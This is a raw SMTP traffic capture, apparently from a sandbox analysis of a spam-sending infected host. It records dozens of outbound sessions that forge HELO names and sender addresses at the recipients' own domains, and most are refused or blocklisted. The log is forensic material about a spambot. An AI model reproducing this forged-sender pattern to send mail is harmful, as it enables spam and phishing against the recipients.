Jan 7, 2022 15:43:06.492505074 CET	25	49784	213.186.119.6	192.168.2.6	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:06 +0200
Jan 7, 2022 15:43:06.493937016 CET	49784	25	192.168.2.6	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:43:06.554565907 CET	25	49784	213.186.119.6	192.168.2.6	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:06.555546045 CET	49784	25	192.168.2.6	213.186.119.6	MAIL FROM: <karen.hill@hotmail.com>
Jan 7, 2022 15:43:06.616324902 CET	25	49784	213.186.119.6	192.168.2.6	250 OK
Jan 7, 2022 15:43:06.616836071 CET	49784	25	192.168.2.6	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:06.702562094 CET	25	49784	213.186.119.6	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:06.702748060 CET	49784	25	192.168.2.6	213.186.119.6	QUIT
Jan 7, 2022 15:43:06.763140917 CET	25	49784	213.186.119.6	192.168.2.6	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:43:06.953079939 CET	25	49802	91.136.8.46	192.168.2.6	220 mail1c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:43:04 +0000
Jan 7, 2022 15:43:06.953258991 CET	49802	25	192.168.2.6	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:43:06.996134043 CET	25	49802	91.136.8.46	192.168.2.6	250 mail1c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:06.998769999 CET	49802	25	192.168.2.6	91.136.8.46	MAIL FROM: <secur@telering.at>
Jan 7, 2022 15:43:07.112498999 CET	25	49802	91.136.8.46	192.168.2.6	250 2.1.0 <secur@telering.at>... Sender ok
Jan 7, 2022 15:43:07.112638950 CET	49802	25	192.168.2.6	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:43:07.229415894 CET	25	49802	91.136.8.46	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:43:07.229545116 CET	49802	25	192.168.2.6	91.136.8.46	QUIT
Jan 7, 2022 15:43:07.271948099 CET	25	49802	91.136.8.46	192.168.2.6	221 2.0.0 mail1c50.megamailservers.eu closing connection
Jan 7, 2022 15:43:09.326972008 CET	49800	25	192.168.2.6	148.163.149.218	.
Jan 7, 2022 15:43:09.327008963 CET	49800	25	192.168.2.6	148.163.149.218	QUIT
Jan 7, 2022 15:43:09.349666119 CET	25	49806	91.136.8.47	192.168.2.6	220 mail181c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:43:07 +0000
Jan 7, 2022 15:43:09.349812031 CET	49806	25	192.168.2.6	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:43:09.396370888 CET	25	49806	91.136.8.47	192.168.2.6	250 mail181c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:09.396518946 CET	49806	25	192.168.2.6	91.136.8.47	MAIL FROM: <secur@telering.at>
Jan 7, 2022 15:43:09.517812967 CET	25	49800	148.163.149.218	192.168.2.6	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:43:09.870007992 CET	25	49806	91.136.8.47	192.168.2.6	250 2.1.0 <secur@telering.at>... Sender ok
Jan 7, 2022 15:43:09.870167971 CET	49806	25	192.168.2.6	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:43:10.062300920 CET	25	49806	91.136.8.47	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:43:10.062541008 CET	49806	25	192.168.2.6	91.136.8.47	QUIT
Jan 7, 2022 15:43:10.103794098 CET	25	49806	91.136.8.47	192.168.2.6	221 2.0.0 mail181c50.megamailservers.eu closing connection
Jan 7, 2022 15:43:11.793699980 CET	25	49813	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP o6si6179251ljp.443 - gsmtp
Jan 7, 2022 15:43:11.793879032 CET	49813	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:43:11.848522902 CET	25	49813	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:11.848977089 CET	49813	25	192.168.2.6	142.250.150.26	MAIL FROM: <carol.lee@mail.aim.com>
Jan 7, 2022 15:43:11.901604891 CET	25	49813	142.250.150.26	192.168.2.6	250 2.1.0 OK o6si6179251ljp.443 - gsmtp
Jan 7, 2022 15:43:11.901736021 CET	49813	25	192.168.2.6	142.250.150.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:11.970390081 CET	25	49813	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser o6si6179251ljp.443 - gsmtp
Jan 7, 2022 15:43:11.970626116 CET	49813	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:43:12.078381062 CET	25	49814	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP x3si4960384lfd.70 - gsmtp
Jan 7, 2022 15:43:12.078605890 CET	49814	25	192.168.2.6	142.250.150.26	HELO aspmx2.googlemail.com
Jan 7, 2022 15:43:12.132934093 CET	25	49814	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:12.133064985 CET	49814	25	192.168.2.6	142.250.150.26	MAIL FROM: <carol.lee@mail.aim.com>
Jan 7, 2022 15:43:12.186644077 CET	25	49814	142.250.150.26	192.168.2.6	250 2.1.0 OK x3si4960384lfd.70 - gsmtp
Jan 7, 2022 15:43:12.186770916 CET	49814	25	192.168.2.6	142.250.150.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:12.252540112 CET	25	49814	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser x3si4960384lfd.70 - gsmtp
Jan 7, 2022 15:43:12.252671957 CET	49814	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:43:13.103550911 CET	25	49815	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP u7si6682185plh.175 - gsmtp
Jan 7, 2022 15:43:13.103691101 CET	49815	25	192.168.2.6	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:43:13.486819983 CET	25	49816	44.239.72.13	192.168.2.6	220 inbound-trex-0 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:43:13.486988068 CET	49816	25	192.168.2.6	44.239.72.13	HELO mx2.mailchannels.net
Jan 7, 2022 15:43:13.606611967 CET	25	49815	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:13.680452108 CET	25	49816	44.239.72.13	192.168.2.6	250 inbound-trex-0
Jan 7, 2022 15:43:13.729044914 CET	49815	25	192.168.2.6	74.125.200.26	MAIL FROM: <carol.lee@mail.aim.com>
Jan 7, 2022 15:43:13.729085922 CET	49816	25	192.168.2.6	44.239.72.13	MAIL FROM: <sec@xyz.com.br>
Jan 7, 2022 15:43:13.921772003 CET	25	49816	44.239.72.13	192.168.2.6	250 2.0.0 OK
Jan 7, 2022 15:43:13.921967983 CET	49816	25	192.168.2.6	44.239.72.13	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:43:14.129952908 CET	25	49816	44.239.72.13	192.168.2.6	250 2.1.5 Ok
Jan 7, 2022 15:43:14.130089045 CET	49816	25	192.168.2.6	44.239.72.13	DATA
Jan 7, 2022 15:43:14.227869987 CET	25	49815	74.125.200.26	192.168.2.6	250 2.1.0 OK u7si6682185plh.175 - gsmtp
Jan 7, 2022 15:43:14.228015900 CET	49815	25	192.168.2.6	74.125.200.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:14.335745096 CET	25	49816	44.239.72.13	192.168.2.6	354 OK
Jan 7, 2022 15:43:14.739260912 CET	25	49815	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser u7si6682185plh.175 - gsmtp
Jan 7, 2022 15:43:14.842086077 CET	49815	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:43:14.903518915 CET	25	49817	108.177.96.27	192.168.2.6	220 mx.google.com ESMTP gn8si2927976ejc.807 - gsmtp
Jan 7, 2022 15:43:14.903624058 CET	49817	25	192.168.2.6	108.177.96.27	HELO aspmx.l.google.com
Jan 7, 2022 15:43:14.933171034 CET	25	49817	108.177.96.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:14.933284044 CET	49817	25	192.168.2.6	108.177.96.27	MAIL FROM: <carol.lee@mail.aim.com>
Jan 7, 2022 15:43:14.960443974 CET	25	49817	108.177.96.27	192.168.2.6	250 2.1.0 OK gn8si2927976ejc.807 - gsmtp
Jan 7, 2022 15:43:14.960581064 CET	49817	25	192.168.2.6	108.177.96.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:14.996267080 CET	25	49817	108.177.96.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser gn8si2927976ejc.807 - gsmtp
Jan 7, 2022 15:43:14.996395111 CET	49817	25	192.168.2.6	108.177.96.27	QUIT
Jan 7, 2022 15:43:15.343038082 CET	25	49815	74.125.200.26	192.168.2.6	221 2.0.0 closing connection u7si6682185plh.175 - gsmtp
Jan 7, 2022 15:43:15.850016117 CET	25	49818	74.125.200.27	192.168.2.6	220 mx.google.com ESMTP n16si5918767plh.456 - gsmtp
Jan 7, 2022 15:43:15.958667040 CET	49818	25	192.168.2.6	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:43:16.462837934 CET	25	49818	74.125.200.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:16.462968111 CET	49818	25	192.168.2.6	74.125.200.27	MAIL FROM: <carol.lee@mail.aim.com>
Jan 7, 2022 15:43:16.967386961 CET	25	49818	74.125.200.27	192.168.2.6	250 2.1.0 OK n16si5918767plh.456 - gsmtp
Jan 7, 2022 15:43:16.967525959 CET	49818	25	192.168.2.6	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:17.486202955 CET	25	49818	74.125.200.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser n16si5918767plh.456 - gsmtp
Jan 7, 2022 15:43:17.486330986 CET	49818	25	192.168.2.6	74.125.200.27	QUIT
Jan 7, 2022 15:43:17.720201969 CET	49816	25	192.168.2.6	44.239.72.13	. QUIT
Jan 7, 2022 15:43:17.988620996 CET	25	49816	44.239.72.13	192.168.2.6	421 Client disconnected
Jan 7, 2022 15:43:17.989042997 CET	25	49818	74.125.200.27	192.168.2.6	221 2.0.0 closing connection n16si5918767plh.456 - gsmtp
Jan 7, 2022 15:43:19.201329947 CET	25	49821	104.47.51.33	192.168.2.6	220 BN1NAM02FT064.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:19 +0000
Jan 7, 2022 15:43:19.201452971 CET	49821	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.201972008 CET	25	49822	104.47.51.33	192.168.2.6	220 BN1NAM02FT043.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.202080011 CET	49822	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.202153921 CET	25	49823	104.47.51.33	192.168.2.6	220 BN1NAM02FT057.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.202512980 CET	49823	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.202642918 CET	25	49825	104.47.51.33	192.168.2.6	220 BN1NAM02FT039.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.202661037 CET	25	49824	104.47.51.33	192.168.2.6	220 BN1NAM02FT047.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.202758074 CET	49824	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.202831030 CET	25	49827	104.47.51.33	192.168.2.6	220 BN1NAM02FT015.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.202866077 CET	49825	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.203104019 CET	49827	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.203365088 CET	25	49826	104.47.51.33	192.168.2.6	220 BN1NAM02FT027.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:18 +0000
Jan 7, 2022 15:43:19.203489065 CET	49826	25	192.168.2.6	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:19.304866076 CET	25	49821	104.47.51.33	192.168.2.6	250 BN1NAM02FT064.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.304977894 CET	49821	25	192.168.2.6	104.47.51.33	MAIL FROM: <sec@msn.com>
Jan 7, 2022 15:43:19.305459976 CET	25	49823	104.47.51.33	192.168.2.6	250 BN1NAM02FT057.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.305497885 CET	25	49822	104.47.51.33	192.168.2.6	250 BN1NAM02FT043.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.305551052 CET	49823	25	192.168.2.6	104.47.51.33	MAIL FROM: <sec@msn.com>
Jan 7, 2022 15:43:19.305598021 CET	49822	25	192.168.2.6	104.47.51.33	MAIL FROM: <sec@msn.com>
Jan 7, 2022 15:43:19.305911064 CET	25	49827	104.47.51.33	192.168.2.6	250 BN1NAM02FT015.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.305994034 CET	49827	25	192.168.2.6	104.47.51.33	MAIL FROM: <frank.lewis@mail.com>
Jan 7, 2022 15:43:19.306065083 CET	25	49824	104.47.51.33	192.168.2.6	250 BN1NAM02FT047.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.306181908 CET	49824	25	192.168.2.6	104.47.51.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:43:19.306188107 CET	25	49825	104.47.51.33	192.168.2.6	250 BN1NAM02FT039.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.306282043 CET	49825	25	192.168.2.6	104.47.51.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:43:19.306885004 CET	25	49826	104.47.51.33	192.168.2.6	250 BN1NAM02FT027.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:19.307003021 CET	49826	25	192.168.2.6	104.47.51.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:43:19.314327002 CET	25	49828	98.136.96.93	192.168.2.6	220 mtaproxy202.aol.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:19.314438105 CET	49828	25	192.168.2.6	98.136.96.93	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:43:19.409071922 CET	25	49823	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT057.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.409085035 CET	25	49821	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT064.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.409178972 CET	49823	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.409212112 CET	49821	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.409554958 CET	25	49827	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT015.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.409569979 CET	25	49822	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT043.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.409646034 CET	49827	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.409821033 CET	49822	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.410023928 CET	25	49824	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT047.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.410125017 CET	49824	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.410264015 CET	25	49825	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT039.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.410357952 CET	49825	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.410954952 CET	25	49826	104.47.51.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT027.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:19.411043882 CET	49826	25	192.168.2.6	104.47.51.33	QUIT
Jan 7, 2022 15:43:19.440519094 CET	25	49828	98.136.96.93	192.168.2.6	250 mtaproxy202.aol.mail.ne1.yahoo.com
Jan 7, 2022 15:43:19.440625906 CET	49828	25	192.168.2.6	98.136.96.93	MAIL FROM: <serv@aol.com>
Jan 7, 2022 15:43:19.567905903 CET	25	49828	98.136.96.93	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:43:19.568082094 CET	49828	25	192.168.2.6	98.136.96.93	QUIT
Jan 7, 2022 15:43:19.746628046 CET	25	49833	94.152.34.135	192.168.2.6	220 herrain.snat.e-kei.pl ESMTP
Jan 7, 2022 15:43:19.746803045 CET	49833	25	192.168.2.6	94.152.34.135	HELO oopp.pl
Jan 7, 2022 15:43:19.786442995 CET	25	49833	94.152.34.135	192.168.2.6	250 herrain.snat.e-kei.pl
Jan 7, 2022 15:43:19.786551952 CET	49833	25	192.168.2.6	94.152.34.135	MAIL FROM: <sec@oopp.pl>
Jan 7, 2022 15:43:19.826982975 CET	25	49833	94.152.34.135	192.168.2.6	250 ok
Jan 7, 2022 15:43:19.827119112 CET	49833	25	192.168.2.6	94.152.34.135	RCPT TO: <vojtek_657@oopp.pl>
Jan 7, 2022 15:43:19.902945995 CET	25	49830	35.82.253.27	192.168.2.6	220 inbound-trex-1 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:43:19.903084993 CET	49830	25	192.168.2.6	35.82.253.27	HELO mx1.mailchannels.net
Jan 7, 2022 15:43:20.041723013 CET	25	49832	148.163.149.218	192.168.2.6	220 mx0a-0028be01.pphosted.com ESMTP mfa-m0175280
Jan 7, 2022 15:43:20.041861057 CET	49832	25	192.168.2.6	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:43:20.053294897 CET	25	49834	104.47.51.110	192.168.2.6	220 BN1NAM02FT052.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:19 +0000
Jan 7, 2022 15:43:20.053591013 CET	49834	25	192.168.2.6	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:20.094288111 CET	25	49830	35.82.253.27	192.168.2.6	250 inbound-trex-1
Jan 7, 2022 15:43:20.094610929 CET	49830	25	192.168.2.6	35.82.253.27	MAIL FROM: <sec@xyz.com.br>
Jan 7, 2022 15:43:20.114262104 CET	25	49836	104.47.51.110	192.168.2.6	220 BN1NAM02FT049.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:19 +0000
Jan 7, 2022 15:43:20.114439964 CET	49836	25	192.168.2.6	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:20.159109116 CET	25	49834	104.47.51.110	192.168.2.6	250 BN1NAM02FT052.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:20.159235001 CET	49834	25	192.168.2.6	104.47.51.110	MAIL FROM: <maria1969@mail.lycos.com>
Jan 7, 2022 15:43:20.219532013 CET	25	49836	104.47.51.110	192.168.2.6	250 BN1NAM02FT049.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:20.219690084 CET	49836	25	192.168.2.6	104.47.51.110	MAIL FROM: <danuxzva@mail.com>
Jan 7, 2022 15:43:20.239836931 CET	25	49832	148.163.149.218	192.168.2.6	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:20.243122101 CET	49832	25	192.168.2.6	148.163.149.218	MAIL FROM: <secur@wxyz.com>
Jan 7, 2022 15:43:20.263350010 CET	25	49834	104.47.51.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:20.263586998 CET	49834	25	192.168.2.6	104.47.51.110	RCPT TO: <quentin@contoso.com>
Jan 7, 2022 15:43:20.288746119 CET	25	49830	35.82.253.27	192.168.2.6	250 2.0.0 OK
Jan 7, 2022 15:43:20.288918018 CET	49830	25	192.168.2.6	35.82.253.27	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:43:20.323790073 CET	25	49836	104.47.51.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:20.323928118 CET	49836	25	192.168.2.6	104.47.51.110	RCPT TO: <guy@contoso.com>
Jan 7, 2022 15:43:20.367464066 CET	25	49834	104.47.51.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT052.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:20.367759943 CET	49834	25	192.168.2.6	104.47.51.110	QUIT
Jan 7, 2022 15:43:20.427872896 CET	25	49836	104.47.51.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT049.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:20.428029060 CET	49836	25	192.168.2.6	104.47.51.110	QUIT
Jan 7, 2022 15:43:20.435998917 CET	25	49832	148.163.149.218	192.168.2.6	250 2.1.0 Sender ok
Jan 7, 2022 15:43:20.436142921 CET	49832	25	192.168.2.6	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:43:20.470830917 CET	25	49834	104.47.51.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:20.486891031 CET	25	49830	35.82.253.27	192.168.2.6	250 2.1.5 Ok
Jan 7, 2022 15:43:20.487035036 CET	49830	25	192.168.2.6	35.82.253.27	DATA
Jan 7, 2022 15:43:20.531138897 CET	25	49836	104.47.51.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:20.630147934 CET	25	49832	148.163.149.218	192.168.2.6	250 2.1.5 Recipient ok
Jan 7, 2022 15:43:20.630330086 CET	49832	25	192.168.2.6	148.163.149.218	DATA
Jan 7, 2022 15:43:20.680191994 CET	25	49830	35.82.253.27	192.168.2.6	354 OK
Jan 7, 2022 15:43:20.722286940 CET	25	49831	74.125.200.26	192.168.2.6	220 mx.google.com ESMTP d3si5413512pfu.28 - gsmtp
Jan 7, 2022 15:43:20.724872112 CET	49831	25	192.168.2.6	74.125.200.26	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:43:20.830491066 CET	25	49832	148.163.149.218	192.168.2.6	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:43:20.869685888 CET	25	49833	94.152.34.135	192.168.2.6	553 sorry, that domain isn't in my list of allowed rcpthosts / Ta domena nie znajduje sie na liscie obslugiwanych przez serwer, jest zablokowana lub nieprawidlowo skonfigurowano uwierzytelnianie SMTP (#5.5.3 - vuser)
Jan 7, 2022 15:43:20.871515036 CET	49833	25	192.168.2.6	94.152.34.135	QUIT
Jan 7, 2022 15:43:20.911180019 CET	25	49833	94.152.34.135	192.168.2.6	221 herrain.snat.e-kei.pl
Jan 7, 2022 15:43:20.913352013 CET	25	49839	142.250.145.26	192.168.2.6	220 mx.google.com ESMTP e3si2764676ejs.757 - gsmtp
Jan 7, 2022 15:43:20.913623095 CET	49839	25	192.168.2.6	142.250.145.26	HELO aspmx.l.google.com
Jan 7, 2022 15:43:20.943337917 CET	25	49839	142.250.145.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:20.943471909 CET	49839	25	192.168.2.6	142.250.145.26	MAIL FROM: <george1979@mail.aim.com>
Jan 7, 2022 15:43:20.970309019 CET	25	49839	142.250.145.26	192.168.2.6	250 2.1.0 OK e3si2764676ejs.757 - gsmtp
Jan 7, 2022 15:43:20.970530033 CET	49839	25	192.168.2.6	142.250.145.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:21.006203890 CET	25	49839	142.250.145.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser e3si2764676ejs.757 - gsmtp
Jan 7, 2022 15:43:21.006711006 CET	49839	25	192.168.2.6	142.250.145.26	QUIT
Jan 7, 2022 15:43:21.118814945 CET	25	49842	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP y4si7289734ljp.288 - gsmtp
Jan 7, 2022 15:43:21.121283054 CET	49842	25	192.168.2.6	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:43:21.175941944 CET	25	49842	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:21.176080942 CET	49842	25	192.168.2.6	142.250.150.26	MAIL FROM: <george1979@mail.aim.com>
Jan 7, 2022 15:43:21.228873968 CET	25	49842	142.250.150.26	192.168.2.6	250 2.1.0 OK y4si7289734ljp.288 - gsmtp
Jan 7, 2022 15:43:21.229070902 CET	49842	25	192.168.2.6	142.250.150.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:21.231424093 CET	25	49831	74.125.200.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:21.233407974 CET	49831	25	192.168.2.6	74.125.200.26	MAIL FROM: <sec@xyz.com>
Jan 7, 2022 15:43:21.290225983 CET	25	49842	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser y4si7289734ljp.288 - gsmtp
Jan 7, 2022 15:43:21.290371895 CET	49842	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:43:21.346601963 CET	25	49842	142.250.150.26	192.168.2.6	221 2.0.0 closing connection y4si7289734ljp.288 - gsmtp
Jan 7, 2022 15:43:21.400906086 CET	25	49843	142.250.150.26	192.168.2.6	220 mx.google.com ESMTP bq7si5331985lfb.196 - gsmtp
Jan 7, 2022 15:43:21.401405096 CET	49843	25	192.168.2.6	142.250.150.26	HELO aspmx2.googlemail.com
Jan 7, 2022 15:43:21.458197117 CET	25	49843	142.250.150.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:21.458308935 CET	49843	25	192.168.2.6	142.250.150.26	MAIL FROM: <george1979@mail.aim.com>
